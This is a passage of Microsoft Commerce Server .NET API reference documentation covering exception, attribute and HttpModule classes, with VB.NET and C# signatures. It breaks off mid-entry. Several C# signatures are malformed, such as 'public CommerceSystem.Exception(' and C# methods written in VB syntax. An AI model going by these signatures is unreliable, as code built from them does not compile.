  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceDebugException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified error message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceDebugException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The exception message.
[C#]
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified error message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceDebugSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String, String) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified cagegory and message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public CommerceDebugException(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.
[C#]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified category, message, and inner exception

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceDebugSystem.Exception(
  System.String category,
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.
inner
The inner exception.
[C#]
category
The category string. The category is a string such as "CommerceCatalog" or "CommerceOrders."
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceDebugException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceEventAttribute Class (BCL)

These attributes identify the class as being a Commerce event and also associate a commerce specific short name with to the Commerce event.

Public Instance Constructor

Constructor | Description
CommerceEventAttribute Constructor(String) | Creates a new instance of the CommerceEventAttribute class.

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Public Instance Properties

Property | Description
ClassName | Gets the Commerce Server–specific short name of the class that this instance of the attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Remarks

The CommerceEventAttribute class marks Commerce event classes and associates a Commerce Server–specific short name with the particular event class.

For example:

[CommerceEvent("BSK")]
            public class AddToBasketEvent : BaseCommerceEvent

In the previous example, the attribute is used to mark the AddToBasketEvent class as a Commerce event class and associate the Commerce Server–specific short name BSK with the class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventAttribute Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceEventAttribute Constructor(String) | Creates a new instance of the CommerceEventAttribute class.


CommerceEventAttribute Constructor (String) (BCL)

Use this method to create a new instance of the CommerceEventAttribute class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal className As System.String _
)
[C#]
public CommerceEventAttribute(
  System.String className
);

Parameters

[Visual Basic .NET]
className
Name of the class to which this attribute is associated.
[C#]
className
Name of the class to which this attribute is associated.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventAttribute Methods (BCL)

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventAttribute Properties (BCL)

Public Instance Properties

Property | Description
ClassName | Gets the Commerce Server–specific short name of the class that this instance of the attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventAttribute.ClassName Property (BCL)

The ClassName property is a read-only String containing the Commerce Server–specific short name of the class that this instance of the attribute is associated with.

Definition

[Visual Basic .NET]
Public ReadOnly Property ClassName As System.String
[C#]
public System.String ClassName {get;}

Property Value

A String containing the short name of the class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventMemberAttribute Class (BCL)

Associates a Commerce-specific short name with the Commerce property.

Public Instance Constructor

Constructor | Description
CommerceEventMemberAttribute Constructor(String) | Creates a new instance of the CommerceEventMemberAttribute class.

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Public Instance Properties

Property | Description
MemberName | Gets the Commerce-specific short name of the Commerce property that the instance of this attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.

Remarks

The CommerceEventMemberAttribute class marks Commerce event class properties as Commerce properties and also associate a Commerce-specific short name with the particular event class.

For example:

[CommerceEvent("BSK")]
   public class AddToBasketEvent : BaseCommerceEvent
   {
       [CommerceEventMember("PRID")]
       public string ProductID
       {
           get
           {
               ...
           }
           set
           {
               ...
           }
       }
   }

In the above example, the attribute is used to mark the ProductID property of the AddToBasketEvent class as a Commerce event property and also associates the Commerce-specific short name PRID with the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventMemberAttribute Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceEventMemberAttribute Constructor(String) | Creates a new instance of the CommerceEventMemberAttribute class.


CommerceEventMemberAttribute Constructor (String) (BCL)

Use this method to create a new instance of the CommerceEventMemberAttribute class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal memberName As System.String _
)
[C#]
public CommerceEventMemberAttribute(
  System.String memberName
);

Parameters

[Visual Basic .NET]
memberName
The name of the property with which the attribute is associated.
[C#]
memberName
The name of the property with which the attribute is associated.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceEventMemberAttribute Methods (BCL)

Public Instance Methods

Method | Description
Equals(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetCustomAttributes (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
GetHashCode (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefaultAttribute (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
IsDefined (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.
Match(Object) (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventMemberAttribute Properties (BCL)

Public Instance Properties

Property | Description
MemberName | Gets the Commerce-specific short name of the Commerce property that the instance of this attribute is associated with.
TypeId (Inherited from System.Attribute) | Refer to the .NET Framework SDK documentation for the System.Attribute class.


CommerceEventMemberAttribute.MemberName Property (BCL)

The MemberName property is a read-only String that gets the Commerce-specific short name of the Commerce property that the instance of this attribute is associated with.

Definition

[Visual Basic .NET]
Public ReadOnly Property MemberName As System.String
[C#]
public System.String MemberName {get;}

Property Value

A string containing the name of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceException Class (BCL)

Base type for all .NET-based Commerce Server exceptions.

Public Instance Constructor

Constructor | Description
CommerceException Constructor | Creates a new instance of the CommerceException class.
CommerceException Constructor(String) | Creates a new instance of the CommerceException class with a specified error message.
CommerceException Constructor(String, COMException) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceException Constructor(String, Exception) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceException Constructor | Creates a new instance of the CommerceException class.
CommerceException Constructor(String) | Creates a new instance of the CommerceException class with a specified error message.
CommerceException Constructor(String, COMException) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceException Constructor(String, Exception) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceException class with the specified serialization information and streaming context.


CommerceException Constructor (BCL)

Use this method to create a new instance of the CommerceException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceException class with a specified error message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String _
)
[C#]
public CommerceException(
  System.String msg
);

Parameters

[Visual Basic .NET]
msg
The error message.
[C#]
msg
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (String, COMException) (BCL)

Use this method to create a new instance of the CommerceException class with a specified error message and inner COM exception that is the cause for this exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal comException As System.Runtime.InteropServices.COMException _
)
[C#]
public CommerceException(
  System.String msg,
  System.Runtime.InteropServices.COMException comException
);

Parameters

[Visual Basic .NET]
msg
The error message.
comException
The COM exception.
[C#]
msg
The error message.
comException
The COM exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceSystem.Exception(
  System.String msg,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
msg
The error message.
inner
The inner exception.
[C#]
msg
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceModule Class (BCL)

All Commerce Server modules inherit from the CommerceModule class. The CommerceModule class inherits from IHttpModule.

Protected Instance Constructor

Constructor | Description
CommerceModule | Creates a new instance of the CommerceModule class.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Public Instance Properties

Property | Description
IsInitialized | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Protected Instance Methods

Property | Description
DeclareModuleDependency(Type, Type) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule Constructor (BCL)

Protected Instance Constructor

Constructor | Description
CommerceModule | Creates a new instance of the CommerceModule class.


CommerceModule Constructor (BCL)

Use this method to create a new instance of the CommerceModule class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected CommerceModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Protected Instance Methods

Property | Description
DeclareModuleDependency(Type, Type) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceModule.DeclareModuleDependency (Type, Type) Method (BCL)

Use this method to declare a dependency on another CommerceModule class, by type.

Definition

[Visual Basic .NET]
Protected Shared Sub DeclareModuleDependency( _
  ByVal moduleType As System.Type, _
  ByVal dependentType As System.Type _
)
[C#]
protected static void DeclareModuleDependency(
  System.Type moduleType,
  System.Type dependentType
);

Parameters

[Visual Basic .NET]
moduleType
The System.Type that represents the type of module this module is dependent upon. May not be null.
dependentType
The System.Type of the dependent module.
[C#]
moduleType
The System.Type that represents the type of module this module is dependent upon. May not be null.
dependentType
The System.Type of the dependent module.

Remarks

Throws the CommerceModuleDependencyException when the module that this module is dependent upon does not exist. Throws the ArgumentNullException when one of the required arguments was passed as a null value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.DeclareResourceDependency (String, Type) Method (BCL)

Use this method to declare a dependency on a Commerce Server site resource.

Definition

[Visual Basic .NET]
Protected Shared Sub DeclareResourceDependency( _
  ByVal resourceName As System.String, _
  ByVal dependentType As System.Type _
)
[C#]
protected static void DeclareResourceDependency(
  System.String resourceName,
  System.Type dependentType
);

Parameters

[Visual Basic .NET]
resourceName
Name of the Commerce Server resource that the module depends on. May not be null.
dependentType
The System.Type of the dependent module.
[C#]
resourceName
Name of the Commerce Server resource that the module depends on. May not be null.
dependentType
The System.Type of the dependent module.

Remarks

Throws the CommerceResourceDependencyException when the resource that the module is dependent upon does not exist. Throws the ArgumentNullException when one of the required arguments was passed as a null value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overrides Public Sub Dispose( _
)
[C#]
public override void Dispose(
);

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.Dispose(Boolean) Method

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.Init(HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Implements

System.Web.IHttpModule

Remarks

This method sets the IsInitialized property to true when complete.

The method throws a CommerceResourceDependencyException when the associated Commerce Server resource of a known cache type is not found.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.


CommerceModule.IsInitialized Property (BCL)

The IsInitialized property is a read-only Boolean that is set to True when the CommerceModule class instance has been initialized.

Definition

[Visual Basic .NET]
Public ReadOnly Property IsInitialized As System.Boolean
[C#]
public System.Boolean IsInitialized {get;}

Property Value

Set to true when the CommerceModule class instance has been initialized, false otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Class (BCL)

Exception raised when a module depends on another module that has not been configured.

Public Instance Constructor

Constructor | Description
CommerceModuleDependencyException Constructor | Creates a new instance of the CommerceModuleDependencyException class.
CommerceModuleDependencyException Constructor(String) | Creates a new instance of the CommerceModuleDependencyException class with the specified message.
CommerceModuleDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceModuleDependencyException class with the specified message and inner exception.
CommerceModuleDependencyException Constructor(String, String) | Creates a new instance of the CommerceModuleDependencyException class with the specified module names.

Protected Instance Constructor

Constructor | Description
CommerceModuleDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceModuleDependencyException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceModuleDependencyException Constructor | Creates a new instance of the CommerceModuleDependencyException class.
CommerceModuleDependencyException Constructor(String) | Creates a new instance of the CommerceModuleDependencyException class with the specified message.
CommerceModuleDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceModuleDependencyException class with the specified message and inner exception.
CommerceModuleDependencyException Constructor(String, String) | Creates a new instance of the CommerceModuleDependencyException class with the specified module names.

Protected Instance Constructor

Constructor | Description
CommerceModuleDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceModuleDependencyException class with the specified serialization information and streaming context.


CommerceModuleDependencyException Constructor (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceModuleDependencyException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceModuleDependencyException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String _
)
[C#]
public CommerceModuleDependencyException(
  System.String msg
);

Parameters

[Visual Basic .NET]
msg
The exception message.
[C#]
msg
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceModuleDependencySystem.Exception(
  System.String msg,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
msg
The exception message.
inner
The inner exception.
[C#]
msg
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (String, String) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified module names.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal missingModule As System.String, _
  ByVal dependentModule As System.String _
)
[C#]
